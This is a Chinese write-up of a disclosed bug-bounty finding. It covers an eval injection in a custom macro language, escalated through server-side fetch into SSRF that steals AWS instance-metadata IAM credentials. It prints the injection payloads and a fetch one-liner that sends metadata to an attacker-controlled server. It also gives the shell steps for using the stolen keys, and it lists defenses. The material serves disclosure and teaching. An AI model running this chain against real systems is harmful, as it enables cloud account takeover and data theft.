利用NodeJS SSRF漏洞获取AWS完全控制权限
字数 1254 2025-08-27 12:33:23

NodeJS SSRF漏洞利用获取AWS完全控制权限技术分析

漏洞概述

本文详细分析了一个通过NodeJS SSRF(Server-Side Request Forgery)漏洞获取AWS完全控制权限的案例。攻击者利用自定义宏语言Banan++中的eval注入漏洞,结合服务器端NodeJS环境,成功获取了AWS元数据中的临时凭证,进而控制了目标公司的AWS资源(20个S3存储桶和80个EC2实例)。

漏洞发现过程

1. 目标分析

目标公司(代号ArticMonkey)使用自定义宏语言Banan++开发Web应用,其中包含一个JavaScript版本(banan++.js):

  • 压缩后2.1M,美化后2.5M
  • 56441行代码,2546981个字符
  • 包含约135个函数

2. 关键漏洞函数

发现危险函数Union(),存在eval注入风险:

helper.prototype.Union = function() {
    for (var _len22 = arguments.length, args = Array(_len22), _key22 = 0; _key22 < _len22; _key22++) 
        args[_key22] = arguments[_key22];
    var value = args.shift(), 
        symbol = args.shift(), 
        results = args.filter(function(arg) {
            try {
                return eval(value + symbol + arg)
            } catch (e) {
                return !1
            }
        });
    return !!results.length
}

3. 漏洞验证

通过本地测试确认注入点:

Union('alert()//', '2', '3');
Union('1', '2;alert();', '3');
Union('1', '2', '3;alert()');

漏洞利用过程

1. 寻找注入点

发现POST请求中的operation参数可注入Banan++代码:

POST /REDACTED HTTP/1.1
Host: api.REDACTED.com
Content-Type: application/json; charset=UTF-8

{"operation": "(Year(CurrentDate()) > 2017)"}

2. 注入测试

确认注入限制:

  • 无法直接注入JavaScript代码
  • 可以注入Banan++函数
  • 响应作为true/false标志

成功注入Union函数:

{"operation": "Union('a';'b';'c')"}

3. 服务器端代码执行

发现目标使用NodeJS服务器端,使用fetch API进行SSRF攻击:

fetch('https://poc.myserver.com')

4. AWS元数据获取

利用SSRF访问AWS元数据接口:

fetch("http://169.254.169.254/latest/meta-data/").then(res=>res.text()).then((r)=>fetch("https://poc.myserver.com/?r="+r));

获取关键IAM凭证:

http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

返回结果包含:

{
    "Code": "Success",
    "Type": "AWS-HMAC",
    "AccessKeyId": "...",
    "SecretAccessKey": "...",
    "Token": "...",
    "Expiration": "2018-09-06T19:24:38Z"
}

5. AWS凭证利用

设置环境变量使用获取的临时凭证:

export AWS_ACCESS_KEY_ID=AKIAI44...
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
export AWS_SESSION_TOKEN=AQoDYXdzEJr...

验证身份:

aws sts get-caller-identity

漏洞影响

成功获取了目标公司AWS环境的完全控制权限:

  • 控制了80个EC2实例
  • 访问了20个S3存储桶
  • 可获取客户敏感数据、静态文件和服务器日志/备份

防御措施

1. 代码层面

  • 避免使用eval()等危险函数
  • 对用户输入进行严格过滤和验证
  • 使用参数化查询或安全模板引擎

2. AWS安全配置

  • 限制元数据服务的访问权限
  • 使用IMDSv2(需要令牌)
  • 为EC2实例配置最小权限原则
  • 定期轮换凭证

3. 网络层面

  • 实施网络访问控制
  • 监控异常请求模式
  • 禁用不必要的实例元数据访问

时间线

  • 06/09/2018 12:00 - 开始漏洞挖掘
  • 07/09/2018 00:30 - 提交漏洞报告
  • 07/09/2018 19:30 - 漏洞修复并发放奖金

技术要点总结

  1. eval注入:危险函数的不当使用导致代码执行
  2. SSRF利用:通过服务器端请求伪造访问内部服务
  3. AWS元数据:169.254.169.254提供实例关键信息
  4. 临时凭证:IAM角色临时凭证的获取与利用
  5. 环境变量:正确设置AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN

学习收获

  1. ReactJS和fetch API的实际应用
  2. AWS元数据服务的安全风险
  3. 从漏洞发现到完整利用的全过程
  4. 官方文档的重要性
  5. 渗透测试中的持续尝试和问题解决能力
NodeJS SSRF漏洞利用获取AWS完全控制权限技术分析 漏洞概述 本文详细分析了一个通过NodeJS SSRF(Server-Side Request Forgery)漏洞获取AWS完全控制权限的案例。攻击者利用自定义宏语言Banan++中的eval注入漏洞,结合服务器端NodeJS环境,成功获取了AWS元数据中的临时凭证,进而控制了目标公司的AWS资源(20个S3存储桶和80个EC2实例)。 漏洞发现过程 1. 目标分析 目标公司(代号ArticMonkey)使用自定义宏语言Banan++开发Web应用,其中包含一个JavaScript版本(banan++.js): 压缩后2.1M,美化后2.5M 56441行代码,2546981个字符 包含约135个函数 2. 关键漏洞函数 发现危险函数 Union() ,存在eval注入风险: 3. 漏洞验证 通过本地测试确认注入点: 漏洞利用过程 1. 寻找注入点 发现POST请求中的 operation 参数可注入Banan++代码: 2. 注入测试 确认注入限制: 无法直接注入JavaScript代码 可以注入Banan++函数 响应作为true/false标志 成功注入Union函数: 3. 服务器端代码执行 发现目标使用NodeJS服务器端,使用fetch API进行SSRF攻击: 4. AWS元数据获取 利用SSRF访问AWS元数据接口: 获取关键IAM凭证: 返回结果包含: 5. AWS凭证利用 设置环境变量使用获取的临时凭证: 验证身份: 漏洞影响 成功获取了目标公司AWS环境的完全控制权限: 控制了80个EC2实例 访问了20个S3存储桶 可获取客户敏感数据、静态文件和服务器日志/备份 防御措施 1. 代码层面 避免使用 eval() 等危险函数 对用户输入进行严格过滤和验证 使用参数化查询或安全模板引擎 2. AWS安全配置 限制元数据服务的访问权限 使用IMDSv2(需要令牌) 为EC2实例配置最小权限原则 定期轮换凭证 3. 网络层面 实施网络访问控制 监控异常请求模式 禁用不必要的实例元数据访问 时间线 06/09/2018 12:00 - 开始漏洞挖掘 07/09/2018 00:30 - 提交漏洞报告 07/09/2018 19:30 - 漏洞修复并发放奖金 技术要点总结 eval注入 :危险函数的不当使用导致代码执行 SSRF利用 :通过服务器端请求伪造访问内部服务 AWS元数据 :169.254.169.254提供实例关键信息 临时凭证 :IAM角色临时凭证的获取与利用 环境变量 :正确设置AWS_ ACCESS_ KEY_ ID、AWS_ SECRET_ ACCESS_ KEY和AWS_ SESSION_ TOKEN 学习收获 ReactJS和fetch API的实际应用 AWS元数据服务的安全风险 从漏洞发现到完整利用的全过程 官方文档的重要性 渗透测试中的持续尝试和问题解决能力